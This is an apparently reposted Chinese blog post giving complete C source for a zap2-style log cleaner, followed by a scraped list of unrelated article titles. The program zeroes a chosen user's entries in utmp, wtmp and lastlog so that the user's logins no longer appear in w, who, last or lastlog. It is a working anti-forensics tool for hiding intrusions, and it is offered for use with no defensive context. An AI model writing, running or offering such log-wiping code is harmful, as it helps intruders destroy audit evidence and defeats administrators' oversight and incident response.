linux安全-擦除登录日志
来源:互联网 发布:优化的蜜蜡好不好 编辑:程序博客网 时间:2024/05/01 05:16
删除指定的用户的登录信息日志,包括w 和who 查到的当前用户(utmp) 和last查到的用户(wtmp)以往登录日志以及lastlog查到的用户最近登录日志(lastlog)。
#include <stdio.h>#include <stdlib.h>#include <utmp.h>#include <time.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>#include <lastlog.h>#include <pwd.h>#define WTMP_NAME "/var/log/wtmp" #define UTMP_NAME "/var/run/utmp" #define LASTLOG_NAME "/var/log/lastlog" int f; //delete all the record which name is 'who' in utmpvoid kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } //delete the latest record which name is 'who' in wtmpvoid kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } //update the record set time is never login which name is 'who' in lastlogvoid kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, ((long)(pwd->pw_uid)) * (sizeof (struct lastlog)), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) {printf("user:%s\n",argv[1]); kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else{printf("Error.\n"); }}
- linux安全-擦除登录日志
- linux安全登录,ssh
- 安全擦除swap分区
- 3389如何擦除日志
- linux 查看登录日志
- linux 查看登录日志
- linux 系统登录日志
- linux用户登录日志
- Windows登录类型及安全日志解析
- Windows登录类型及安全日志解析
- Linux使用SSH安全登录
- linux 用户登录安全配置
- Linux服务器安全登录注意事项
- CentOS查看登录日志及其它安全日志
- Linux查看登录用户日志
- windows2008 安全日志出现大量帐号登录失败的解决办法
- SecureCRT使用ssh2安全登录Linux
- linux下ssh安全的自动登录
- JavaScript 对象、DOM对象、jquery对象的区别、转换详解
- 介绍 JDesktop Integration Components
- 创意PS:用影子讲故事
- 分数的拆分
- OCP-1Z0-052-V8.02-170题
- linux安全-擦除登录日志
- 雅虎2014校园招聘软件开发工程师笔试试题,选择题第七题
- vim 配置
- 说个事公司我天天网而特让他荣文特
- 搜索大战升级:360搜狗相互起诉对方不正当竞争
- 改良程序的11个技巧
- 微软发布IE11预览版 主打速度比IE10快9%
- 第二代Surface的确平庸 但却是未来发展趋势
- 移动端性能大比拼:CSS Sprites vs. Data URI